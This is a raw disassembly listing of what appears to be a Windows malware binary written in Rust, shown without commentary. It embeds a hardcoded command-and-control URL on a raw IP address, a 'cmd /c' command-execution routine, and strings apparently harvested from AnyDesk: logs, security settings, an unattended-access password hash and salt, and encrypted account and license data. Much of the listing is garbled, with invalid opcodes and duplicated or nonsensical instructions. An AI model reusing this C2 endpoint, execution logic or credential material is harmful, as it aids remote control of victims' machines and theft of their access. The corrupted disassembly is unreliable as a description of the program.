call case.0x140148f55.549
test rax, rax
jne 0x14015afba
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rax
call fcn.1401c6bcc
jmp 0x14015afb2
lea rax, str.srclib.rsstream_read_exact_error
mov qword [rsp + 0x20], rax
lea rcx, str.message_too_large
lea r9, fcn.140009390
lea r8, [rsp + 0x2d]
mov edx, 0x11
call fcn.1401c7200
int3
lea ecx, [rbp - 0x18]
call fcn.140191bd0
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmm2, xmmword [rbp + 8]
lea rdx, [rbp - 0x60]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov byte [rbp + 0x2f], 0
lea rcx, [rbp - 0x30]
call fcn.1401c6939
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
lea rcx, [rbp + 0x18]
call fcn.140137625
invalid
std
invalid
jmp 0x14015b128
invalid
movabs eax, dword [0x4c08538b480006a9]
mov eax, dword [rbx + 0x10]
mov rcx, rdi
mov qword [rbp + 0x20], rdx
call fcn.140154cea
test rax, rax
je case.0x1400089d2.1401
mov rcx, rax
call fcn.1401c6bcc
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x20]
call fcn.14006095a
jmp 0x14015b128
mov rax, qword [rbp - 8]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75c13948], al
or dword [rax - 0x75], ecx
add cl, byte [rax - 0x77]
ror dword [rax - 1], 1
and cl, ch
xchg byte [rdi - 0x10], dl
call qword [rbp + 0x41]
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x4c18
call fcn.1401c5d60
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x4b80], xmm9
movaps xmmword [rbp + 0x4b70], xmm8
movaps xmmword [rbp + 0x4b60], xmm7
movaps xmmword [rbp + 0x4b50], xmm6
mov qword [rbp + 0x4b48], 0xfffffffffffffffe
mov qword [rbp + 0x4a88], rdx
lea rax, str.http:__172.247.44.162:8000172.247.44.162:9999_api_init
lea rdx, [rbp + 0x3660]
mov qword [rdx], rax
mov qword [rdx + 8], 0x1a
mov dword [rdx + 8], 0x1a
mov edx, 0x1f0
lea rax, [rbp + 0x2370]
lea r9, [rax + rdx]
mov qword [rbp + 0x4208], r9
lea ecx, [rax]
add byte [rax], al
mov r9d, 0x248
add rax, r9
mov qword [rbp + 0x4210], rax
lea rax, [rbp + 0x340]
test dword [rax + 3], eax
add byte [rax], al
lea r10, [rax + rdx]
adc al, 0x10
mov qword [rbp + 0x4218], r10
lea r10, [rax + r9]
mov qword [rbp + 0x4220], r10
lea rsi, [rbp + 0x3f70]
add rdx, rsi
mov qword [rbp + 0x4228], rdx
add r9, rsi
mov qword [rbp + 0x4a30], r9
mov edx, 0x80
add rax, rdx
mov qword [rbp + 0x4200], rax
lea rax, [rbp + 0x25d0]
and eax, 0x1480000
ret 0x8948
xchg ebp, eax
xor byte [rdx], al
add byte [rdi], cl
push rdi
test byte [rdi], 0x28
cmp eax, 0x72e59
invalid
add byte [rcx - 0x75], cl
or byte [rax - 0x77], cl
test eax, ecx
add byte [rax], al
mov qword [rbp + 0x4640], r8
mov rax, qword [r8 + 0x10]
mov qword [rbp + 0x4ab8], rax
mov qword [rbp + 0x41d8], rcx
mov rax, qword [rcx]
mov qword [rbp + 0x4a78], rax
test dword [rax + 0x4a], edi
add byte [rax], al
ret 0x8948
js 0x14015b33d
add byte [rax], al
push 8
pop rax
mov qword [rbp + 0x4a40], rax
add byte [rax], al
mov dword [rbp + 0x4a4c], eax
lea rcx, [rbp + 0x4670]
mov rdx, qword [rbp + 0x41d8]
call fcn.14015afee
mov rax, qword [rbp + 0x4670]
mov r8, qword [rbp + 0x4678]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14016388e
mov qword [rbp + 0x4a70], rax
add byte [rax], al
mov rax, qword [rbp + 0x4680]
cmp rax, 0xffff
mov qword [rbp + 0x4a68], r8
ja 0x1401638cb
mov rdx, qword [rbp + 0x4a88]
mov cl, byte [rdx + 0x82]
test cl, cl
je 0x14015b375
cmp byte [rdx + 0x48], 3
jb 0x1401638cf
movzx ecx, cl
shl ecx, 5
add rdx, rcx
add rdx, 8
mov rcx, qword [rbp + 0x4ab8]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp + 0x4ac8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
lea rcx, [rbp + 0x340]
push 1
pop r8
xor r9d, r9d
call fcn.14018ac08
cmp byte [rbp + 0x340], 0
jne 0x1401638da
mov r8, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov qword [rbp + 0x3f70], rax
mov qword [rbp + 0x3f78], rdx
mov rcx, rsi
call fcn.140148248
mov rdi, rdx
test rax, rax
jne 0x14015b45b
mov r8, qword [rbp + 0x3f78]
cmp r8, rdi
jae 0x14015b75e
mov cl, 0x25
push 1
pop rdx
xor r8d, r8d
call fcn.140174c44
mov qword [rbp + 0x348], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x340], rax
add eax, dword [rax]
add byte [rdx + 0x18], ch
add eax, dword [rax]
add byte [rdx + 0x18], ch
pop rcx
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
mov rax, qword [rbp + 0x350]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rbp + 0x340]
movups xmmword [rdi], xmm0
mov qword [rbp + 0x25d8], rdi
movabs rax, 0x8000000000000000
mov qword [rbp + 0x25d0], rax
mov rbx, rax
cmp rbx, rax
mov rax, qword [rbp + 0x4a50]
cmovne rax, qword [rbp + 0x41e8]
mov qword [rbp + 0x4a50], rax
add byte [rax], al
cmovne r12, qword [rbp + 0x41f8]
cmovne r13, qword [rbp + 0x41f0]
movzx eax, byte [rbp + 0x4a4c]
movzx ecx, byte [rbp + 0x4a9d]
popfq
add byte [rax], al
cmove ecx, eax
mov rax, qword [rbp + 0x4a80]
cmovne rax, qword [rbp + 0x41e0]
mov qword [rbp + 0x4a80], rax
je case.default.0x14015b4e3
mov dword [rbp + 0x4a4c], ecx
movzx eax, cl
lea rcx, [0x14028c940]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
mov qword [rbp + 0x4b00], r13
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x340]
mov qword [rbp + 0x4af8], r12
mov rdx, r12
mov r8, qword [rbp + 0x4a50]
call fcn.140003990
imul eax, dword [rdx + rbp*8 - 0x6a74b701], 0x48
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7b], cl
push rax
add eax, dword [rax]
add byte [rax - 0x73], cl
mov ebp, 0x3648
imul eax, dword [rdx + rbp*8 - 0x6a74b701], 0x48
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7b], cl
push rax
add eax, dword [rax]
add byte [rax - 0x73], cl
mov ebp, 0x3648
mov rcx, rdi
mov qword [rbp + 0x4b38], rdx
call fcn.14016b001
mov rcx, qword [rbp + 0x340]
mov rdx, qword [rbp + 0x4b38]
call fcn.14014b0fc
mov al, 1
mov byte [rbp + 0x4ade], al
mov byte [rbp + 0x4add], al
lea rsi, [rbp + 0x340]
mov rcx, rsi
lea rdx, str.cmd_ccmd_exec_error_
push 3
pop r8
call fcn.1401ab0a0
mov dword [rbp + 0x400], 0x8000000
or dh, al
test edi, esi
add byte [rax], al
add dword [rax - 0x77], ecx
int1
or dh, al
test edi, esi
add byte [rax], al
add dword [rax - 0x77], ecx
int1
call fcn.1401b0d8e
mov byte [rbp + 0x4af7], 0
mov rcx, rsi
mov rdx, rdi
call fcn.1401b0d1f
mov dword [rbp + 0x25d0], 3
test eax, edx
and eax, 0x30000
add byte [rax], al
mov rcx, rsi
lea rdi, [rbp + 0x25d0]
mov rdx, rdi
call fcn.1401ab340
mov byte [rbp + 0x4af7], 0
mov rcx, rdi
mov rdx, rsi
call fcn.1401a5e40
mov byte [rbp + 0x4af7], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
rol byte [rsi], 1
add byte [rax - 0x73], cl
xchg ebp, eax
shl byte [0xcd61b5f4], 1
add eax, 0xf4ae7
call fcn.14016b178
add dh, al
test esi, eax
add byte [rax], al
add dh, al
test ebp, eax
add byte [rax], al
add dword [rax - 0x77], ecx
mov ecx, esi
mov ecx, esi
call fcn.14016b010
mov rax, qword [rbp + 0x4ae0]
mov qword [rbp + 0x340], rax
test dword [rax + 3], eax
add byte [rax], al
test dword [rax + 3], eax
add byte [rax], al
mov rax, qword [rbp + 0x4b18]
mov qword [rbp + 0x348], rax
add eax, dword [rax]
add byte [rax - 0x75], cl
test dword [rax + 0x4800004a], eax
mov dword [rbp + 0x350], eax
mov rax, qword [rbp + 0x46e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x46d0]
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x4700]
mov dword [rbp + 0x370], 1
add dword [rbx + 0x470085], ecx
add bh, al
test dword [rax + 3], esi
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov dword [rbp + 0x374], eax
lea rcx, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
test byte [rsp + rax*4], dh
add byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
test byte [rsp + rax*4], dh
add byte [rax], al
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov ecx, dword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163c05
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163c19
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
mov edx, dword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rcx, qword [rbp + 0x46e8]
mov rdx, qword [rbp + 0x46f0]
jmp 0x14015c1d3
mov rdx, qword [rbp + 0x3f70]
lea rax, [0x14024ee40]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
mov r9, rdi
call fcn.14005f4fb
mov rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x348]
mov eax, dword [rbp + 0x348]
mov eax, dword [rbp + 0x348]
movups xmm0, xmmword [rbp + 0x350]
movups xmmword [rbp + 0x3f70], xmm0
jo 0x14015b7d9
add byte [rax], al
lea rcx, [rbp + 0x25d0]
lea ecx, [rbp + 0x25d0]
lea ecx, [rbp + 0x25d0]
call fcn.14003f3ec
mov rbx, qword [rbp + 0x25d0]
mov rdi, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x14015b473
test byte [rdx + 0x48fffffc], ch
mov esi, dword [rbp + 0x25e0]
mov rsi, qword [rbp + 0x25e0]
lea r14, [rbp + 0x340]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.1400297e0
cmp qword [rbp + 0x340], 0
je 0x14015cc30
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
movups xmm0, xmmword [rbp + 0x348]
movups xmmword [rbp + 0x348], xmm0
movabs rax, 0x8000000000000001
mov qword [rbp + 0x340], rax
mov rcx, r14
call fcn.14001f2ed
mov rdi, rax
mov rcx, qword [rbp + 0x4ae0]
mov rdx, qword [rbp + 0x4b18]
call fcn.14006095a
invalid
dec dword [rax - 0x48]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x3d917], al
dec dword [rcx + rcx*4 - 0x53]
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
movabs rax, 0x8000000000000000
jmp 0x14015b473
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x2370], rbx
mov qword [rbp + 0x4b18], rdi
mov qword [rbp + 0x2378], rdi
mov rax, qword [rbp + 0x4a80]
mov qword [rbp + 0x2380], rax
and qword [rbp + 0x2388], 0
push 1
pop rax
mov qword [rbp + 0x2390], rax
and qword [rbp + 0x2398], 0
mov qword [rbp + 0x23a0], rax
lea rcx, [rbp + 0x340]
call fcn.14016a0fe
mov r10, qword [rbp + 0x340]
mov r12, qword [rbp + 0x348]
movabs rax, 0x8000000000000000
cmp r10, rax
lea rsi, [rbp + 0x25e8]
lea r14, [rbp + 0x3d40]
mov r9, qword [rbp + 0x4a50]
add byte [rdi], cl
test byte [rdi - 0x7f], bh
add byte [rax], al
add byte [rdi], cl
test byte [rdi - 0x7f], bh
add byte [rax], al
mov r15, qword [rbp + 0x350]
mov rax, qword [rbp + 0x4b00]
mov qword [rbp + 0x3d40], rax
cmp eax, 0x8b480000
xchg ebp, eax
clc
add byte [rax], al
cmp eax, 0x8b480000
xchg ebp, eax
clc
add byte [rax], al
mov qword [rbp + 0x3d48], rdx
mov qword [rbp + 0x3d50], r9
cmp eax, 0x894c0000
lea edx, [rax + 0x3d]
add byte [rax], al
and qword [rbp + 0x3d58], 0
cmp r9, 6
mov qword [rbp + 0x4ab0], r12
mov qword [rbp + 0x4a60], r10
mov qword [rbp + 0x4b28], r15
jb 0x14015c8fe
mov ecx, dword [rdx]
movzx eax, word [rdx + 4]
shl rax, 0x20
or rax, rcx
mov qword [rbp + 0x3d58], 6
movabs rcx, 0x1c27afbc7a37
cmp rax, rcx
jne 0x14015cf19
mov ch, 0x15
add byte [rax], al
cmp r9, 6
push 6
pop rax
cmovb rax, r9
mov rcx, r9
sub rcx, rax
cmp rcx, 1
jbe 0x14015e3fb
sub al, byte [rax]
invalid
sub al, byte [rax]
add byte [rdi], cl
mov bh, 4
add cl, byte [rax - 0x39]
test dword [rax + 0x3d], ebx
add byte [rax], al
or byte [rax], al
add byte [rax], al
movzx eax, word [rdx + rax]
mov qword [rbp + 0x3d58], 8
test al, al
je 0x14015de97
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x46d8], 1
mov byte [rbp + 0x46d9], al
mov byte [rbp + 0x46da], ah
invalid
add byte [rcx - 0x43], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x2a7ce9], al
add byte [rax - 0x77], cl
invalid
invalid
popfq
loopne 0x14015ba07
movabs r13, 0x8000000000000000
jmp 0x14015e434
mov qword [rbp + 0x4ae0], rbx
add byte [rax], al
mov qword [rbp + 0x4b18], rdi
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x340]
call fcn.14016a0fe
lea rdi, [rbp + 0x2370]
mov rax, qword [rbp + 0x340]
mov r12, qword [rbp + 0x348]
movabs rcx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
invalid
invalid
jg 0x14015ba15
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
test byte [rdx + 0x4c00007f], al
mov eax, dword [rbp + 0x350]
mov r8, qword [rbp + 0x350]
mov qword [rbp + 0x3d40], rax
mov qword [rbp + 0x3d48], r12
mov qword [rbp + 0x3d50], r8
mov byte [rbp + 0x4b24], 1
mov cl, 1
mov rdx, r12
call fcn.140196550
lea rsi, [rbp + 0x3d40]
lea rbx, [rbp + 0x2d8]
mov qword [rbp + 0x340], rax
mov byte [rbp + 0x4b24], 1
lea rcx, [rbp + 0x340]
call fcn.14013b1fa
mov qword [rbp + 0x25d0], rsi
lea rax, [0x140250120]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
add byte [rax - 0x73], cl
test eax, edx
and eax, 0x89480000
test dword [rax + 3], edx
add byte [rax], al
add byte [rax - 0x73], cl
test eax, edx
and eax, 0x89480000
test dword [rax + 3], edx
add byte [rax], al
mov qword [rbp + 0x358], 1
mov byte [rbp + 0x4b24], 1
mov rcx, rbx
lea rdx, [rbp + 0x340]
call fcn.140015f59
mov byte [rbp + 0x4b24], 1
add byte [rcx], al
mov rcx, rbx
call fcn.140154c47
test rax, rax
lea rbx, [rbp + 0x2c0]
lea r14, [rbp + 0x2a8]
jne 0x140163af9
mov byte [rbp + 0x4b23], 1
mov r8d, 0x8f1a
mov qword [rbp + 0x4b38], rdx
mov rcx, rdx
lea rdx, str.___________________r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____AnyDesk_Windows_Startup__r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____Version_8.0.8___detached_head___161cbc3269fd82431aba292c6ced1f1480f4964c__r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____Checksum_48544a05569c2af380b61b4f5af5a087_r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____Build_20240127190435_r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____Copyright__C__2024_AnyDesk_Software_GmbH__r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main____r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main___Command_Line_params:__C:Users_adminDesktopAnyDesk.exe___r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main___Process_started_at_2024_04_04._PID_884._OS_is_Windows_10__64_bit__r_n___info_2024_04_04_04:22:31.521______front____884___5112_________________________impl_selector___using_sse2__intrinsics__r_n___info_2024_04_04_04:22:31.521______front____884___5112__________________________________main___Install_status:_not_installed___4__r_n___info_2024_04_04_04:22:31.521______front____884___5112__________base.data.config_application___Adding_GPO_defaults_layer._r_n___info_2024_04_04_04:22:31.521______front____884___5112__________base.data.config_application___Adding_GPO_overrides_layer._r_n___info_2024_04_04_04:22:31.521______front____884___5112___________________________gui.gui_app___DPI_scaling:_1.00___1.00_r_n___info_2024_04_04_04:22:31.521______front____884___5112___________________________gui.gui_app___Using_std_resolution_bitmaps._r_nwarning_2024_04_04_04:22:31.536______front____884___5112__________________________account_info___Could_not_read_account_info_from_config._r_nwarning_2024_04_04_04:22:31.536______front____884___5112__________________________account_info____t1_times:_Could_not_read_account_info_from_config._r_n___info_2024_04_04_04:22:31.536______front____884___5112_______________________base.signal.hub___8_threads._r_nwarning_2024_04_04_04:22:31.560______front____884___5112_________________________app.user_info___Could_not_update_user_image__app.bitmap_The_system_cannot_find_the_path_specified.__0x80070003__._Defaulting._r_n___info_2024_04_04_04:22:31.560______front____884___5112____________________________app.roster___Updating_the_jump_list_r_n___info_2024_04_04_04:22:31.560______front____884___5112__________________os_win.jump_list_mgr___0_items_found_r_n___info_2024_04_04_04:22:31.584______front____884___5112__________________________wgf.msg_loop___Waiting_for_events._r_n___info_2024_04_04_04:22:31.584______front____884___6568______________________win_app.frontend___Frontend_startup__not_elevated_._r_n___info_2024_04_04_04:22:31.584______front____884___6568___________________fiber.ipc_namespace___Global:_no_r_n___info_2024_04_04_04:22:31.584______front____884___6568______________________win_app.frontend___Logging_the_frontend_in._r_n___info_2024_04_04_04:22:31.584______front____884___6568_____________app.named_process_starter___Spawning_local_service._r_nwarning_2024_04_04_04:22:31.584______front____884___6568_____________app.named_process_starter___Starting_control_process_in_session_1._r_nwarning_2024_04_04_04:22:31.584______front____884___6568_____________app.named_process_starter___Could_not_query_the_user_token__1314_._r_n___info_2024_04_04_04:22:31.584______front____884___6568_____________app.named_process_starter___Spawning_process_directly_in_current_session_1._r_nwarning_2024_04_04_04:22:31.599______front____884___5112__________________________account_info___Could_not_read_account_info_from_config._r_nwarning_2024_04_04_04:22:31.630______front____884___5112__________________________account_info____t3_times:_Co
call fcn.1401761a6
lea r15, [rbp + 0x25e8]
test rax, rax
test eax, eax
jne 0x140163c68
mov qword [rbp + 0x25d0], rsi
lea rax, [0x140259068]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 1
pop rax
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add dh, al
test dword [rbx], esp
add byte [r8], al
add dword [rax - 0x77], ecx
invalid
lea rdx, [rbp + 0x340]
call fcn.140015f59
mov byte [rbp + 0x4b23], 1
mov rcx, rbx
call fcn.140154c47
test rax, rax
jne 0x140163c86
mov byte [rbp + 0x4b22], 1
mov r8d, 0xc1e
mov eax, 0xc1e
test dword [rdx], esp
add byte [r8], al
add dword [rcx - 0x48], eax
invalid
invalid
mov eax, 0xc1e
mov qword [rbp + 0x4b28], rdx
mov rcx, rdx
ror dword [rax - 0x73], 1
adc eax, 0xfd4c4
adc eax, 0xfd4c4
call fcn.1401761a6
movsd dword [rdi], dword [rsi]
add dword [rax], eax
test rax, rax
jne 0x140163cd8
mov qword [rbp + 0x25d0], rsi
lea rax, [0x140259cb8]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 1
mov byte [rbp + 0x4b22], 1
mov rcx, r14
lea rdx, [rbp + 0x340]
call fcn.140015f59
mov byte [rbp + 0x4b22], 1
mov rcx, r14
call fcn.140154c47
test rax, rax
jne 0x140163ce9
mov byte [rbp + 0x4b21], 1
mov r8d, 0x996
mov qword [rbp + 0x4b08], rdx
mov rcx, rdx
lea rdx, str.ad.anynet.alias_nad.anynet.client_stats_hash99aa685c7fc9ef39623d57814b3f438deed91948_nad.anynet.cur_version34359738376_nad.anynet.fpra8a522153e2a979cc8c5f15c4ea4d5c0e0c80a29_nad.anynet.id1306035885_nad.anynet.last_relayrelay_ed8907be.net.anydesk.com:80:443:6568_nad.anynet.network_hash2d4ee4eee3fe9b334ca05e02377b671b7816379f_nad.anynet.network_idmain_nad.anynet.relay.fatal_result1.0_nad.anynet.relay.state2_nad.license.namefree_1_nad.security.block_inputtrue_nad.security.clipboard.filestrue_nad.security.control_inputtrue_nad.security.file_managertrue_nad.security.frontend_clipboard1_nad.security.frontend_clipboard_files1_nad.security.frontend_clipboard_version1_nad.security.hear_audiotrue_nad.security.lock_accounttrue_nad.security.permission_profiles._default.permissions.audio1_nad.security.permission_profiles._default.permissions.block_input1_nad.security.permission_profiles._default.permissions.clipboard1_nad.security.permission_profiles._default.permissions.clipboard_files1_nad.security.permission_profiles._default.permissions.file_manager1_nad.security.permission_profiles._default.permissions.input1_nad.security.permission_profiles._default.permissions.lock_desk1_nad.security.permission_profiles._default.permissions.modify_forbidden_windows0_nad.security.permission_profiles._default.permissions.privacy_feature0_nad.security.permission_profiles._default.permissions.record_session1_nad.security.permission_profiles._default.permissions.restart0_nad.security.permission_profiles._default.permissions.sas1_nad.security.permission_profiles._default.permissions.sysinfo1_nad.security.permission_profiles._default.permissions.tcp_tunnel0_nad.security.permission_profiles._default.permissions.user_pointer1_nad.security.permission_profiles._default.permissions.vpn1_nad.security.permission_profiles._default.permissions.whiteboard1_nad.security.permission_profiles._unattended_access.permissions.sas1_nad.security.permission_profiles._unattended_access.pwdc90bf569881d2685b4cd223f0ec7c2b8f36280460401dc65f8a7cad9e2866026_nad.security.permission_profiles._unattended_access.salt8cb7add734c556690c4e12875b5cb547_nad.security.permission_profiles.version1_nad.security.privacy_featurefalse_nad.security.record_sessiontrue_nad.security.restartfalse_nad.security.sync_clipbrdtrue_nad.security.sysinfotrue_nad.security.tcp_tunnelfalse_nad.security.update_version1_nad.security.user_pointertrue_nad.security.vpntrue_nad.security.whiteboardtrue_nuser.conf
call fcn.1401761a6
test rax, rax
jne 0x140163d03
mov qword [rbp + 0x25d0], rsi
lea rax, [0x14025a678]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 1
mov byte [rbp + 0x4b21], 1
test dword [rcx], esp
add byte [r8], al
add dword [rax - 0x73], ecx
lea ecx, [rbp + 0x2358]
test dword [rcx], esp
add byte [r8], al
add dword [rax - 0x73], ecx
lea ecx, [rbp + 0x2358]
lea ecx, [rbp + 0x2358]
lea rdx, [rbp + 0x340]
call fcn.140015f59
mov byte [rbp + 0x4b21], 1
lea rcx, [rbp + 0x2358]
call fcn.140154c47
test rax, rax
jne 0x140163d24
mov byte [rbp + 0x4af6], 1
mov r8d, 0x17eb
mov qword [rbp + 0x4ae8], rdx
mov rcx, rdx
lea rdx, str.ad.account.info6fa74c609a01f31f1f670668df954f4642a4aae8018a18da5cbd5b64a9d5feffb737c698c226cd2c0ff648310f1fa2df0b53d2e90e4e008262013ecaea9245bcfd167885e5d5561c9c2d00f799ecae7012b48cf425b64665093d6034bd57c27374ab0862b47b212f41cf5778b89c5b337804e0c63d726d45f32e91d21497d2f4cd968ea276a636db7d0bc119c60d6470f0d9cd6fbf0a7b82c0b0db37f6f895f3039f157332216f8764e4772883d6bc07f7d411cc97f0b4e37879d9bf220b74221b64757d9ebf439ee88c4e46646d6c673d8f4eb2364aaa7c8175bdc663c61448ed578f20b183207868050bcd07c93613f56493e06b1a_nad.general.online_status.remote_client1_nad.invite.created_list_encrypted6fa74c609a01f31f1f670668df954f4642a4aae8018a18da4ff37f6a08191df7a20f38f80f54c06b0bf648310f1fa2df0b53d2e90e4e008262013ecaea92bea874cd236b16ad8b4217c6a7b1bdc61101dd0fe0a03978e7ccc82ad5caa369c27374ab0862b47b212f41cf5778b89c31cf08c65b106ddaf9181164d68b14255ea3f689259f0e4ec392ff8181867a975470f0d999e3460c6c11bd2df2f63dc0a3053b27806804e951ad3a975aee7e5835d3cb87bf5212ac2280afcaa113ee46a0f4f52c135dc2bce055cb786b025fdf7ed4aa72f3551edfd83f4f3b76519009dc0df4c23e99bdf6_nad.invite.received_list_encrypted6fa74c609a01f31f1f670668df954f4642a4aae8018a18da4ff37f6a08191df7a20f38f80f54c06b0bf648310f1fa2df0b53d2e90e4e008262013ecaea926e8b81cad2917d0d6e5d1cf62f8c6c7b269a1443252377afae9f777426399ea3c27374ab0862b47b212f41cf5778b89cecd979d46c868d83f212297133acc8ccaa8392689960d69e2030876d645e7bba5470f0d9fa564a24b26d36efe3d434a8addc07ec806804e9c8deba8f3b0437954c0582bb55d82d27b2a444284a6ce30076c941fedefec9e32a1d6ad4440da36824c1e8919e1e9b6fcc7904c82d4d9ef4528f3c8330f1952a_nad.license.cache6fa74c609a01f31f1f670668df954f4642a4aae8018a18da5cbd5b64a9d5feffb737c698c226cd2c0ff648310f1fa2df0b53d2e90e4e008262013ecaea927a4ccfacb25cb5b1641ad8ea383d5a0a5f722130a299c7ed196f8b06fea28f6fc27374ab0862b47b212f41cf5778b89c6ab853cee19ed053027e84c9229659d09878d84f15c0583bfcab08abcbc461862475f0d9fa971a447b94099d32714001fa52c651427c86c091bdc75314954539306eeb38775ae53b79f80ecf68ec23b6987d020e38dfb1c7213a8a85d2adc3887e6271c3f5d3d6dc045cc2baaa88579bb991e615196f4b54541bd07ce5500d61d2edd489e43550b4ec651d35260af5e55bb7792453187d96d6b9204ac8458a34c0507c1ef41cd6502fdb48f7df82b70f58704019a9220790afc20d3f1943125b6e2eaad99ec439bbe9a7aa847d72f8a5a36d58e5e6557d0c4b5062f88ed9ae52baa5522351bbf343d34c6bb00d2b19a09a73f336a76c274d97ecb7686933f4522623ac1afe2d0497445c8fdca656a4059fbd0ec0f9591040129ded995b9432ebca49738fb9595990035bbd1646699f853905bfeae4891760bfc439736f53ba161725f89215d27c360a5c171b82f67d847563b03d25ba087ddc38d1e05c9bd76efffae510a4d65f8af180baddeeec3a1383ec7a44cd392c04a217acd7827c2a8a355ee7da10f53e6bfb66f5393956784ac76ab308193788a83ece9f2149d43c3d8b18358f4b8b82afc3b164cb458de37fac496bbb3e3f965146436d39ebe7ec954130f636ec8c240264d0cc1637fa94e5d81bff37e8f8c0e65bf9878480e59f87b56ae20b1af7cf67b08c823fea35f74b919e4376bd53b00d7883d7d98d6de5a696616fa7a9cb8e0c6239b533b3b2dd483d7be4e8f5848c2aabf637e0b92ea05818fd886f15ae